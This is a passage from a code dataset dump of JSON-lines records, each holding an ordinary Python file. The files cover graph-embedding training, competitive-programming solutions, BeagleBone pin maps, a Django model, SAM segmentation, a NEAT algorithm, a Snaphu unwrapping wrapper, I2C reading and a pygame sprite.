= 500 # Hidden dimension of encoder LSTMs\n s_len = 10 # Length of input node sequence\n epc = 2 # Number of training epochs\n trainable = False # Node features trainable or not\n dropout = 0.2 # Dropout ration\n clf_ratio = [0.1, 0.2, 0.3, 0.4, 0.5] # Ration of training samples in subsequent classification\n b_s = 128 # Size of batches\n lr = 0.001 # Learning rate of RMSProp\n save_emb_file = '../data/cora/embed/stne_vec_nc.txt'\n save_emb = len(save_emb_file) > 0\n\n start = time.time()\n fobj = open(fn, 'w')\n X, Y = read_node_label(folder + 'labels.txt')\n node_fea = read_node_features(folder + 'cora.features')\n node_seq = read_node_sequences(folder + 'node_sequences_10_10.txt')\n\n embed_dim = node_fea.shape[1] # Embedding Dimension\n\n with tf.Session() as sess:\n model = STNE(hidden_dim=h_dim, node_fea_trainable=trainable, seq_len=s_len, depth=dpt, node_fea=node_fea,\n node_num=node_fea.shape[0], fea_dim=embed_dim)\n train_op = tf.train.RMSPropOptimizer(lr).minimize(model.loss_ce, global_step=model.global_step)\n sess.run(tf.global_variables_initializer())\n\n trained_node_set = set()\n all_trained = False\n for epoch in range(epc):\n start_idx, end_idx = 0, b_s\n print('Epoch,\\tStep,\\tLoss,\\t#Trained Nodes')\n while end_idx < len(node_seq):\n _, loss, step = sess.run([train_op, model.loss_ce, model.global_step], feed_dict={\n model.input_seqs: node_seq[start_idx:end_idx], model.dropout: dropout})\n\n if not all_trained:\n all_trained = check_all_node_trained(trained_node_set, node_seq[start_idx:end_idx],\n node_fea.shape[0])\n\n if step % 10 == 0:\n print(epoch, '\\t', step, '\\t', loss, '\\t', len(trained_node_set))\n if all_trained:\n f1_mi = []\n for ratio in clf_ratio:\n f1_mi.append(node_classification(session=sess, bs=b_s, seqne=model, sequences=node_seq,\n seq_len=s_len, node_n=node_fea.shape[0], samp_idx=X,\n label=Y, ratio=ratio))\n\n print('step ', step)\n fobj.write('step ' + str(step) + ' ')\n for f1 in f1_mi:\n print(f1)\n fobj.write(str(f1) + ' ')\n fobj.write('\\n')\n start_idx, end_idx = end_idx, end_idx + b_s\n\n if start_idx < len(node_seq):\n sess.run([train_op, model.loss_ce, model.global_step],\n feed_dict={model.input_seqs: node_seq[start_idx:len(node_seq)], model.dropout: dropout})\n\n minute = np.around((time.time() - start) / 60)\n print('\\nepoch ', epoch, ' finished in ', str(minute), ' minutes\\n')\n\n f1_mi = []\n for ratio in clf_ratio:\n f1_mi.append(\n node_classification(session=sess, bs=b_s, seqne=model, sequences=node_seq, seq_len=s_len,\n node_n=node_fea.shape[0], samp_idx=X, label=Y, ratio=ratio))\n\n fobj.write(str(epoch) + ' ')\n print('Classification results on current ')\n for f1 in f1_mi:\n print(f1)\n fobj.write(str(f1) + ' ')\n fobj.write('\\n')\n minute = np.around((time.time() - start) / 60)\n\n fobj.write(str(minute) + ' minutes' + '\\n')\n print('\\nClassification finished in ', str(minute), ' minutes\\n')\n\n fobj.close()\n minute = np.around((time.time() - start) / 60)\n print('Total time: ' + str(minute) + ' minutes')\n if save_emb:\n print(f'Saving embedding to {save_emb_file}')\n embedding = get_embed(session=sess, bs=b_s, seqne=model, sequences=node_seq, seq_len=s_len, node_n=node_fea.shape[0])\n learned_embed = gensim.models.keyedvectors.Word2VecKeyedVectors(embed_dim)\n nodes = np.arange(embedding.shape[0])\n learned_embed.add([str(node) for node in nodes], embedding)\n save_embedding(learned_embed, save_emb_file, binary=(os.path.splitext(save_emb_file)[1]== 'bin'))\n\n","repo_name":"yangji9181/ALA","sub_path":"baseline/src/STNE.py","file_name":"STNE.py","file_ext":"py","file_size_in_byte":20759,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"18009901975","text":"# https://www.hackerearth.com/problem/algorithm/monk-and-rotation-3-bcf1aefe/\n\n# GIVEN:\n # Integer array A of size N\n # Integer K\n\"\"\"\n The first line will consist of one integer T denoting the number of test cases.\n For each test case:\n 1) The first line consists of two integers N and K, N being the number of elements in the array and K denotes the number of steps of rotation.\n 2) The next line consists of N space separated integers , denoting the elements of the array A.\n\"\"\"\n\n# TASK:\n # Rotate the array in the right direction by K steps\n # Print the resultant array\n\n# SAMPLE INPUT:\n # 1\n # 5 2\n # 1 2 3 4 5\n# SAMPLE OUTPUT\n # 4 5 1 2 3\n\nT = int(input())\n\ndef rotate_by_k(arr, k):\n k %= len(arr) # If k > len(arr), the final actual number of rotations is the remainder of k/len(arr)\n arr = arr[-k:] + arr[:-k] # Rotation: moving the last k digits to the front\n return arr\n\nfor _ in range(T):\n N, K = map(int, input().split())\n A = list(map(int, input().split()))\n A = rotate_by_k(A, K)\n print(*A) # Print array A as a string separated by spaces\n\n# Time complexity = O(n), n = length of array\n # map() functions are O(n) each\n# Space complexity = ???","repo_name":"SlaveToJavascript/LeetCode","sub_path":"Arrays/MonkAndRotation.py","file_name":"MonkAndRotation.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40272906704","text":"N = int(input())\nA = list(map(int, input().split()))\nB = list(map(int, input().split()))\n\n# B が小さいほど制約が大きいのでBが小さいものからみる\nC = sorted(zip(A, B), key=lambda x: x[1])\nA, B = map(list, zip(*C))\n\nans = 0\nfor i in range(N):\n if ans > N - 2:\n print(\"No\")\n exit()\n if (A[i] > B[i]):\n if [k for k in A[i + 1:] if k <= B[i]]:\n j = A[i + 1:].index(max([k for k in A[i + 1:] if k <= B[i]]))\n A[i], A[j] = A[j], A[i]\n ans += 1\n else:\n print(\"No\")\n exit()\n\nprint(\"Yes\")\n","repo_name":"satoooh/procon","sub_path":"AtCoder/others/nikkei2019-ex/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"70000647627","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function, unicode_literals, absolute_import\n\n\n# 119. Pascal's Triangle II\n# Given an index k, return the kth row of the Pascal's triangle.\n\n# 总结:\n#\n\n\nclass Solution(object):\n def getRow(self, rowIndex):\n \"\"\"\n :type rowIndex: int\n :rtype: List[int]\n \"\"\"\n path = [1]\n for _ in range(1, rowIndex+1):\n path = [1] + [path[i] + path[i+1] for i in range(0, len(path)-1)] + [1]\n\n return path\n\n def getRow2(self, rowIndex):\n # Any row can be constructed using the offset sum of the previous row.\n # 1 3 3 1 0\n # + 0 1 3 3 1\n # = 1 4 6 4 1\n # https://discuss.leetcode.com/topic/22628/python-4-lines-short-solution-using-map\n\n row = [1]\n for i in range(0, rowIndex):\n row = [l + r for l, r in zip(row + [0], [0] + row)]\n return row\n\n\n\n\nimport unittest\nclass TestSolution(unittest.TestCase):\n def test_demo(self):\n self.assertEqual(1, 1)\n self.assertTrue(True)\n\nsuite = unittest.TestLoader().loadTestsFromTestCase(TestSolution)\nunittest.TextTestRunner(verbosity=2).run(suite)\n\nif __name__ == '__main__':\n print(Solution().getRow(0))\n print(Solution().getRow(3))\n print(Solution().getRow2(0))\n print(Solution().getRow2(3))\n # print(Solution().generate2(5))\n print('ok')\n\n","repo_name":"HuangYongfei/hunt-leetcode","sub_path":"py/p119.py","file_name":"p119.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73870210828","text":"import os\nimport time\nPWM_PATH = \"/sys/class/pwm/\"\nGPIO_PATH = \"/sys/class/gpio/\"\n\n# -------------- from bonescript's bone.js ----------------------\ngpio0 = 0\ngpio1 = gpio0+32\ngpio2 = gpio1+32\ngpio3 = gpio2+32\n\n\npwm_pins = {\n \"P8_13\": { \"name\": \"EHRPWM2B\", \"gpio\": gpio0+23, \"mux\": \"gpmc_ad9\", \"eeprom\": 15, \"pwm\" : \"ehrpwm.2:1\" },\n \"P8_19\": { \"name\": \"EHRPWM2A\", \"gpio\": gpio0+22, \"mux\": \"gpmc_ad8\", \"eeprom\": 14, \"pwm\" : \"ehrpwm.2:0\" },\n \"P9_14\": { \"name\": \"EHRPWM1A\", \"gpio\": gpio1+18, \"mux\": \"gpmc_a2\", \"eeprom\": 34, \"pwm\" : \"ehrpwm.1:0\" },\n \"P9_16\": { \"name\": \"EHRPWM1B\", \"gpio\": gpio1+19, \"mux\": \"gpmc_a3\", \"eeprom\": 35, \"pwm\" : \"ehrpwm.1:1\" },\n \"P9_31\": { \"name\": \"SPI1_SCLK\", \"gpio\": gpio3+14, \"mux\": \"mcasp0_aclkx\", \"eeprom\": 65 , \"pwm\": \"ehrpwm.0:0\"},\n \"P9_29\": { \"name\": \"SPI1_D0\", \"gpio\": gpio3+15, \"mux\": \"mcasp0_fsx\", \"eeprom\": 61 , \"pwm\": \"ehrpwm.0:1\"},\n \"P9_42\": { \"name\": \"GPIO0_7\", \"gpio\": gpio0+7, \"mux\": \"ecap0_in_pwm0_out\", \"eeprom\": 4, \"pwm\": \"ecap.0\"},\n \"P9_28\": { \"name\": \"SPI1_CS0\", \"gpio\": gpio3+17, \"mux\": \"mcasp0_ahclkr\", \"eeprom\": 63, \"pwm\": \"ecap.2\" },\n}\n\ndef f_read(file_name):\n\tfile_value = open(file_name, 'r').read()\n\treturn file_value\n\ndef f_write_e(file_name, file_value):\n\tfile_handle = open(file_name, 'r+')\n\tfile_handle.seek(0)\n\tfile_handle.write(file_value)\n\t#file_handle.flush()\n\t#file_handle.close()\ndef f_write(file_name, file_value):\n\topen(file_name, 'w').write(file_value)\n","repo_name":"jonnadul/fetching-robot","sub_path":"bbcode/pinout.py","file_name":"pinout.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17835791636","text":"from django.db import models\r\n\r\n# Create your models here.\r\n\r\nclass Coin_Market(models.Model):\r\n name = models.CharField(max_length=150, blank=True, null=True)\r\n price = models.IntegerField(blank=True, null=True)\r\n market_cap = models.CharField(max_length=150, blank=True, null=True) \r\n volume24h = models.CharField(max_length=150, blank=True, null=True) \r\n circulating_supply = models.CharField(max_length=150, blank=True, null=True) \r\n one_hour_per = models.CharField(max_length=150, blank=True, null=True) \r\n one_day_per = models.CharField(max_length=150, blank=True, null=True) \r\n seven_day_per = models.CharField(max_length=150, blank=True, null=True) \r\n coin_data = models.JSONField(default=dict)\r\n created_at = models.DateTimeField(auto_now_add=True)\r\n updated_at = models.DateTimeField(auto_now=True)\r\n\r\n def __str__(self):\r\n return str(self.name)\r\n\r\n class Meta:\r\n verbose_name = 'Coin Market'\r\n ordering = [\"-created_at\"]\r\n\r\nclass Detail(models.Model):\r\n row_number = models.IntegerField(default=0)\r\n created_at = models.DateTimeField(auto_now_add=True)\r\n updated_at = models.DateTimeField(auto_now=True)\r\n\r\n def __str__(self):\r\n return str(self.row_number)\r\n\r\n class Meta:\r\n verbose_name = 'Detail'\r\n ordering = [\"-created_at\"]","repo_name":"shubhamjain31/django_assignment","sub_path":"home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41575154708","text":"import argparse\nfrom pathlib import Path\n\nimport cv2\nimport numpy as np\nfrom segment_anything import SamPredictor, sam_model_registry\nfrom segment_anything.automatic_mask_generator import SamAutomaticMaskGenerator\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"標識のセグメンテーションを行うスクリプト\")\n parser.add_argument(\"--data\", type=str, default=\"data\", help=\"データを保存しているディレクトリ\")\n args = parser.parse_args()\n\n data_dir = Path(args.data)\n\n sam = sam_model_registry[\"default\"](checkpoint=\"sam_vit_h_4b8939.pth\").to(\"cuda\")\n mask_generator = SamAutomaticMaskGenerator(sam)\n\n for j, path in enumerate((data_dir / \"train\" / \"images\").glob(\"*.jpg\")):\n image = cv2.imread(str(path))\n height, width = image.shape[:2]\n with open(data_dir / \"train\" / \"labels\" / f\"{path.stem}.txt\") as f:\n for i, line in enumerate(f):\n c, x, y, w, h = map(float, line.split())\n x0 = int((x - w / 2) * width)\n y0 = int((y - h / 2) * height)\n x1 = int((x + w / 2) * width)\n y1 = int((y + h / 2) * height)\n img = image[y0:y1, x0:x1]\n try:\n masks = mask_generator.generate(img)\n except:\n continue\n masks = sorted(masks, key=lambda x: -x[\"area\"])\n np.save(\n data_dir / \"train\" / \"segmentations\" / f\"{path.stem}_{i}.npy\",\n masks[0][\"segmentation\"],\n )\n","repo_name":"elith-co-jp/nikkei-linux-2024-01-multimodal","sub_path":"segmentation.py","file_name":"segmentation.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39541412311","text":"import random\nimport gym\nimport numpy as np\nimport copy\n\nfrom NeuralNetwork import *\n \n# Each Gene contains In node, Out node, Weight, isEnabled, and an innovation number\nclass Gene:\n def __init__(self, in_node_id, out_node_id, weight, innovation_number):\n self.in_node_id = in_node_id\n self.out_node_id = out_node_id\n self.weight = weight\n self.innovation_number = innovation_number\n self.isEnabled = True\n\n def disable(self):\n self.isEnabled = False\n\n def __str__(self):\n return str(self.in_node_id) + \" -> \" + str(self.out_node_id) + \" : \" + str(self.weight) + \" : \" + str(self.isEnabled) + \" : \" + str(self.innovation_number)\n\n# genome in NEAT algorithm is a collection of genes\nclass Genome:\n \n def __init__(self, NEATAlgorithm, no_of_inputs, no_of_outputs, env_name, no_of_rollouts):\n \n self.NEATAlgorithm = NEATAlgorithm\n self.no_of_inputs = no_of_inputs\n self.no_of_outputs = no_of_outputs\n self.env_name = env_name\n self.no_of_rollouts = no_of_rollouts\n\n self.genes = []\n self.fitness = 0\n self.node_id = 0\n \n # now connect every input node to every output node\n count = 1\n\n for in_node_id in range(1, no_of_inputs + 1):\n for out_node_id in range(no_of_inputs + 1, no_of_inputs + no_of_outputs + 1):\n weight = random.uniform(-1, 1)\n gene = Gene(in_node_id, out_node_id, weight, count)\n self.genes.append(gene)\n count += 1\n self.node_id = no_of_inputs + no_of_outputs\n \n def mutate_weights(self, mutation_rate):\n for gene in self.genes:\n if random.random() < mutation_rate:\n # add little random noise to the weight\n gene.weight += random.uniform(-0.1, 0.1)\n # clip the weight\n if gene.weight > 1:\n gene.weight = 1\n elif gene.weight < -1:\n gene.weight = -1\n\n def mutate_add_connection(self, mutation_rate):\n pass\n\n def mutate_add_node(self, mutation_rate):\n for i in range(len(self.genes)):\n\n gene = self.genes[i]\n if random.random() < mutation_rate:\n # disable the previous gene\n gene.disable()\n\n self.node_id = max(self.node_id, gene.out_node_id, gene.in_node_id)\n \n # increment the node id\n self.node_id += 1\n\n # create two new genes and add them to the genome\n new_gene1 = Gene(gene.in_node_id, self.node_id, 1, self.NEATAlgorithm.innovation_number)\n self.NEATAlgorithm.innovation_number += 1\n self.genes.append(new_gene1)\n\n new_gene2 = Gene(self.node_id, gene.out_node_id, gene.weight, self.NEATAlgorithm.innovation_number)\n self.NEATAlgorithm.innovation_number += 1\n self.genes.append(new_gene2)\n \n \n\n \n\n def mutate(self, mutation_rate):\n mutation_rate = mutation_rate/len(self.genes)\n\n self.mutate_weights(mutation_rate)\n\n self.mutate_add_connection(mutation_rate)\n\n self.mutate_add_node(mutation_rate/self.no_of_outputs)\n\n def crossover(self, parent2, crossover_rate):\n \n parent1 = self\n parent2 = parent2\n\n if(random.random() < crossover_rate):\n # get all the possible innovation numbers\n map_innovation_number_to_gene = {}\n\n # map innovation number to gene\n for gene in parent1.genes:\n map_innovation_number_to_gene[gene.innovation_number] = gene\n\n for gene in parent2.genes:\n if gene.innovation_number not in map_innovation_number_to_gene:\n map_innovation_number_to_gene[gene.innovation_number] = gene\n else:\n if parent2.fitness > parent1.fitness:\n map_innovation_number_to_gene[gene.innovation_number] = gene\n\n # copy the genes from the map\n child_genes = []\n for key in map_innovation_number_to_gene:\n gene = copy.copy(map_innovation_number_to_gene[key])\n child_genes.append(gene)\n\n # create a new genome\n child = Genome(self.NEATAlgorithm, self.no_of_inputs, self.no_of_outputs, self.env_name, self.no_of_rollouts)\n\n child.genes = child_genes\n \n return child\n else:\n return self\n \n\n def construct_network(self):\n\n network = NeuralNetwork(self.no_of_inputs, self.no_of_outputs)\n\n # remove genes that form loops\n for i in range(len(self.genes)):\n for j in range(len(self.genes)):\n if i != j:\n incoming_node_id_a = self.genes[i].in_node_id\n incoming_node_id_b = self.genes[j].in_node_id\n outgoing_node_id_a = self.genes[i].out_node_id\n outgoing_node_id_b = self.genes[j].out_node_id\n if incoming_node_id_a == outgoing_node_id_b and incoming_node_id_b == outgoing_node_id_a:\n self.genes[i].disable()\n \n for gene in self.genes:\n if gene.isEnabled:\n network.add_node(gene.in_node_id)\n network.add_node(gene.out_node_id)\n network.add_connection(gene.in_node_id, gene.out_node_id, gene.weight)\n \n return network\n \n def render(self, episodes):\n network = self.construct_network()\n env = gym.make(self.env_name)\n total_reward = 0\n\n for i_episode in range(episodes):\n observation = env.reset()\n while(1):\n env.render()\n action = network.compute_output(observation)\n # find the max action from the action space\n max_val = max(action)\n max_index = np.argmax(action)\n action = max_index\n \n observation, reward, done, info = env.step(action)\n total_reward += reward\n if done:\n break\n env.close()\n return total_reward/episodes\n\n def evaluate(self):\n network = self.construct_network()\n env = gym.make(self.env_name)\n total_reward = 0\n \n for i_episode in range(self.no_of_rollouts):\n observation = env.reset()\n while(1):\n action = network.compute_output(observation)\n\n # find the max action from the action space\n max_val = max(action)\n max_index = np.argmax(action)\n action = max_index\n \n observation, reward, done, info = env.step(action)\n total_reward += reward\n if done:\n break\n env.close()\n self.fitness = total_reward/self.no_of_rollouts\n\n def __str__(self):\n # print each gene in genome pretty\n print(\"length of genome: \", len(self.genes))\n s = \"**********************************************************\\n\"\n for gene in self.genes:\n s += str(gene) + \"\\n\"\n s += \"**********************************************************\\n\"\n return s\n","repo_name":"dheerajakula/NEAT","sub_path":"GeneticEncoding.py","file_name":"GeneticEncoding.py","file_ext":"py","file_size_in_byte":7466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10653803594","text":"from iscesys.Component.Component import Component\nfrom . import snaphu\n\nALTITUDE = Component.Parameter(\n 'altitude',\n public_name='ALTITUDE',\n default=None,\n type=float,\n mandatory=True,\n intent='input',\n doc='Altitude'\n)\n\n\nAZIMUTH_LOOKS = Component.Parameter(\n 'azimuthLooks',\n public_name='AZIMUTH_LOOKS',\n default=1,\n type=int,\n mandatory=True,\n intent='input',\n doc='Number of looks in the azimuth direction'\n)\n\n\nCORR_FILE = Component.Parameter(\n 'corrfile',\n public_name='CORR_FILE',\n default=None,\n type=str,\n mandatory=True,\n intent='input',\n doc='Correlation file name'\n)\n\n\nCORR_LOOKS = Component.Parameter(\n 'corrLooks',\n public_name='CORR_LOOKS',\n default=None,\n type=int,\n mandatory=True,\n intent='input',\n doc='Correlation looks'\n)\n\n\nCOR_FILE_FORMAT = Component.Parameter(\n 'corFileFormat',\n public_name='COR_FILE_FORMAT',\n default='ALT_LINE_DATA',\n type=str,\n mandatory=False,\n intent='input',\n doc='Correlation file format'\n)\n\n\nCOSTMODE = Component.Parameter(\n 'costMode',\n public_name='COSTMODE',\n default='DEFO',\n type=str,\n mandatory=True,\n intent='input',\n doc='Cost function mode. Options are \"TOPO\",\"DEFO\",\"SMOOTH\".'\n)\n\n\nDEFORMATION_MAX_CYCLES = Component.Parameter(\n 'defoMaxCycles',\n public_name='DEFORMATION_MAX_CYCLES',\n default=1.2,\n type=float,\n mandatory=True,\n intent='input',\n doc='Deformation max cycles'\n)\n\n\nDUMP_CONNECTED_COMPONENTS = Component.Parameter(\n 'dumpConnectedComponents',\n public_name='DUMP_CONNECTED_COMPONENTS',\n default=True,\n type=bool,\n mandatory=False,\n intent='input',\n doc='Dump the connected component to a file with extension .conncomp'\n)\n\n\nEARTHRADIUS = Component.Parameter(\n 'earthRadius',\n public_name='EARTHRADIUS',\n default=0,\n type=float,\n mandatory=True,\n intent='input',\n doc='Earth radius'\n)\n\n\nINIT_METHOD = Component.Parameter(\n 'initMethod',\n public_name='INIT_METHOD',\n default='MST',\n type=str,\n mandatory=False,\n intent='input',\n doc='Init method. Options are \"MST\" or \"MCF\"'\n)\n\n\nINIT_ONLY = Component.Parameter(\n 'initOnly',\n public_name='INIT_ONLY',\n default=False,\n type=bool,\n mandatory=False,\n intent='input',\n doc='Is this is set along with the DUMP_CONNECTED_COMPONENTS flag, then only the' +\\\n 'connected components are computed and dumped into a file with extension .conncomp'\n)\n\n\nINPUT = Component.Parameter(\n 'input',\n public_name='INPUT',\n default=None,\n type=str,\n mandatory=True,\n intent='input',\n doc='Input file name'\n)\n\n\nINT_FILE_FORMAT = Component.Parameter(\n 'intFileFormat',\n public_name='INT_FILE_FORMAT',\n default='COMPLEX_DATA',\n type=str,\n mandatory=False,\n intent='input',\n doc='Interferogram file format'\n)\n\n\nMAX_COMPONENTS = Component.Parameter(\n 'maxComponents',\n public_name='MAX_COMPONENTS',\n default=32,\n type=int,\n mandatory=False,\n intent='input',\n doc='Max number of components'\n)\n\n\nOUTPUT = Component.Parameter(\n 'output',\n public_name='OUTPUT',\n default=None,\n type=str,\n mandatory=True,\n intent='input',\n doc='Output file name'\n)\n\n\nRANGE_LOOKS = Component.Parameter(\n 'rangeLooks',\n public_name='RANGE_LOOKS',\n default=1,\n type=int,\n mandatory=True,\n intent='input',\n doc='Number of looks in the range direction'\n)\n\n\nUNW_FILE_FORMAT = Component.Parameter(\n 'unwFileFormat',\n public_name='UNW_FILE_FORMAT',\n default='ALT_LINE_DATA',\n type=str,\n mandatory=False,\n intent='input',\n doc='Unwrap file format'\n)\n\n\nWAVELENGTH = Component.Parameter(\n 'wavelength',\n public_name='WAVELENGTH',\n default=None,\n type=float,\n mandatory=True,\n intent='input',\n doc='Wave length'\n)\n\n\nWIDTH = Component.Parameter(\n 'width',\n public_name='WIDTH',\n default=None,\n type=int,\n mandatory=True,\n intent='input',\n doc='Image width'\n)\n\nclass Snaphu(Component):\n\n parameter_list = (\n ALTITUDE,\n INPUT,\n DUMP_CONNECTED_COMPONENTS,\n WIDTH,\n EARTHRADIUS,\n INIT_ONLY,\n CORR_LOOKS,\n COR_FILE_FORMAT,\n CORR_FILE,\n WAVELENGTH,\n MAX_COMPONENTS,\n RANGE_LOOKS,\n DEFORMATION_MAX_CYCLES,\n UNW_FILE_FORMAT,\n OUTPUT,\n AZIMUTH_LOOKS,\n INIT_METHOD,\n COSTMODE,\n INT_FILE_FORMAT\n )\n\n \"\"\"The Snaphu cost unwrapper\"\"\"\n\n fileFormats = { 'COMPLEX_DATA' : 1,\n 'FLOAT_DATA' : 2,\n 'ALT_LINE_DATA' : 3,\n 'ALT_SAMPLE_DATA' : 4}\n \n logging_name = \"contrib.Snaphu.Snaphu\"\n\n\n family = 'snaphu'\n\n def __init__(self,family='',name=''):\n super(Snaphu, self).__init__(family if family else self.__class__.family, name=name)\n self.minConnectedComponentFrac = 0.01\n self.connectedComponentCostThreshold = 300\n self.magnitude = None \n \n\n def setCorrfile(self, corrfile):\n \"\"\"Set the correlation filename for unwrapping\"\"\"\n self.corrfile = corrfile\n\n def setDefoMaxCycles(self, ncycles):\n \"\"\"Set the maximum phase discontinuity expected.\"\"\"\n self.defoMaxCycles = ncycles\n\n def setCorrLooks(self, looks):\n \"\"\"Set the number of looks used for computing correlation\"\"\"\n self.corrLooks = looks\n\n def setInput(self,input):\n \"\"\"Set the input filename for unwrapping\"\"\"\n self.input = input\n \n def setOutput(self,output):\n \"\"\"Set the output filename for unwrapping\"\"\"\n self.output = output\n \n def setWidth(self,width):\n \"\"\"Set the image width\"\"\"\n self.width = width\n \n def setWavelength(self,wavelength):\n \"\"\"Set the radar wavelength\"\"\"\n self.wavelength = wavelength\n\n def setRangeLooks(self, looks):\n self.rangeLooks = looks\n\n def setAzimuthLooks(self, looks):\n self.azimuthLooks = looks\n \n def setIntFileFormat(self, instr):\n self.intFileFormat = str(instr)\n\n def setCorFileFormat(self, instr):\n self.corFileFormat = str(instr)\n\n def setUnwFileFormat(self, instr):\n self.unwFileFormat = str(instr)\n\n def setCostMode(self,costMode):\n #moved the selection into prepare otherwise using configurable to\n #init would not work\n self.costMode = costMode \n\n def setInitOnly(self, logic):\n self.initOnly = logic\n\n def dumpConnectedComponents(self, logic):\n self.dumpConnectedComponents = logic\n \n def setAltitude(self,altitude):\n \"\"\"Set the satellite altitude\"\"\"\n self.altitude = altitude\n \n def setEarthRadius(self,earthRadius):\n \"\"\"Set the local Earth radius\"\"\"\n self.earthRadius = earthRadius\n\n def setInitMethod(self, method):\n \"\"\"Set the initialization method.\"\"\"\n #moved the selection into prepare otherwise using configurable to\n #init would not work\n self.initMethod = method\n \n\n def setMaxComponents(self, num):\n \"\"\"Set the maximum number of connected components.\"\"\"\n self.maxComponents = num\n \n def prepare(self):\n \"\"\"Perform some initialization of defaults\"\"\"\n \n snaphu.setDefaults_Py()\n snaphu.setInitOnly_Py(int(self.initOnly))\n snaphu.setInput_Py(self.input)\n snaphu.setOutput_Py(self.output)\n if self.magnitude is not None:\n snaphu.setMagnitude_Py(self.magnitude)\n snaphu.setWavelength_Py(self.wavelength)\n \n if not self.costMode in ['TOPO','DEFO','SMOOTH']:\n self.logger.error('Invalid cost mode %s' % (self.costMode))\n #must be one of the 3 above\n snaphu.setCostMode_Py(1 if self.costMode == 'TOPO' else\n (2 if self.costMode == 'DEFO' else 3))\n snaphu.setAltitude_Py(self.altitude)\n snaphu.setEarthRadius_Py(self.earthRadius) \n if self.corrfile is not None:\n snaphu.setCorrfile_Py(self.corrfile)\n\n if self.corrLooks is not None:\n snaphu.setCorrLooks_Py(self.corrLooks)\n\n if self.defoMaxCycles is not None:\n snaphu.setDefoMaxCycles_Py(self.defoMaxCycles)\n\n if not self.initMethod in ['MST','MCF']:\n self.logger.error('Invalid init method %s' % (self.initMethod))\n snaphu.setInitMethod_Py(1 if self.initMethod == 'MST' else 2)\n \n snaphu.setMaxComponents_Py(self.maxComponents)\n snaphu.setRangeLooks_Py(int(self.rangeLooks))\n snaphu.setAzimuthLooks_Py(int(self.azimuthLooks))\n snaphu.setMinConnectedComponentFraction_Py(int(self.minConnectedComponentFrac))\n snaphu.setConnectedComponentThreshold_Py(int(self.connectedComponentCostThreshold))\n snaphu.setIntFileFormat_Py( int(self.fileFormats[self.intFileFormat]))\n snaphu.setCorFileFormat_Py( int(self.fileFormats[self.corFileFormat]))\n snaphu.setUnwFileFormat_Py( int(self.fileFormats[self.unwFileFormat]))\n \n\n def unwrap(self):\n \"\"\"Unwrap the interferogram\"\"\" \n\n ###Connected components can be dumped out in non-initonly mode\n if not self.initOnly and self.dumpConnectedComponents:\n snaphu.setConnectedComponents_Py(self.output+'.conncomp')\n# snaphu.setRegrowComponents_Py(int(True))\n\n snaphu.snaphu_Py(self.width)\n self._unwrappingCompleted = True\n\n ##Second pass if initOnly mode was used.\n if self.initOnly and self.dumpConnectedComponents:\n self.growConnectedComponentsOnly()\n\n def growConnectedComponentsOnly(self,infile=None,outfile=None):\n '''\n Grows the connected components using an unwrapped file.\n '''\n print('Growing connected components on second pass')\n if infile is None:\n inputFile = self.output\n else:\n inputFile = infile\n\n if outfile is None:\n outputFile = inputFile + '.conncomp'\n else:\n outputFile = outfile\n\n self.prepare()\n snaphu.setInitOnly_Py(int(False))\n snaphu.setInput_Py(inputFile)\n snaphu.setConnectedComponents_Py(outputFile)\n snaphu.setRegrowComponents_Py(int(True))\n snaphu.setUnwrappedInput_Py(int(True))\n snaphu.snaphu_Py(self.width)\n \n","repo_name":"isce-framework/isce2","sub_path":"contrib/Snaphu/Snaphu.py","file_name":"Snaphu.py","file_ext":"py","file_size_in_byte":10730,"program_lang":"python","lang":"en","doc_type":"code","stars":431,"dataset":"github-code","pt":"82"} +{"seq_id":"12118495225","text":"#!/usr/bin/python\n\nimport smbus\nimport time\n\nbus = smbus.SMBus(1)\n\nDEVICE_ADDRESS = 0x04\n\ndef transmit():\n bus.write_i2c_block_data(DEVICE_ADDRESS, 1, [1,2,3,4])\n\ndef format(val1,val2,val3,neg):\n if len(str(val3))==1:val3 = \"0\" + str(val3)\n if neg==1:\n return str((val1+val2)*-1) + \".\" + str(val3)\n else:\n return str(val1+val2) + \".\" + str(val3)\n\ndef receive():\n block = bus.read_i2c_block_data(DEVICE_ADDRESS, 0, 13)\n print(\"Yaw: \" + format(block[0],block[1],block[2],block[3]),\"Roll: \" + format(block[4],block[5],block[6],block[7]),\"Pitch: \" + format(block[8],block[9],block[10],block[11]))\n\nwhile 1:\n time.sleep(1)\n transmit()\n time.sleep(1)\n receive()","repo_name":"shellsharks/assorted","sub_path":"jhu-code/RTOS/Arduino/i2c.py","file_name":"i2c.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"8768536004","text":"import pygame, math\nfrom pygame.sprite import Sprite\nfrom pygame.locals import *\nfrom bullet import Bullet\nimport util\n\nclass Heroe(Sprite):\n\tdef __init__(self, contenedor):\n\t\tSprite.__init__(self)\n\t\tself.puntos = 0\n\t\tself.vida = 10000\n\t\tself.angulo = 0\n\t\tself.radio = 8\n\t\tself.vel = [0,0]\n\t\tself.contenedor = contenedor\n\t\tself.estado = \"bajando\"\n\t\tself.imagenes = 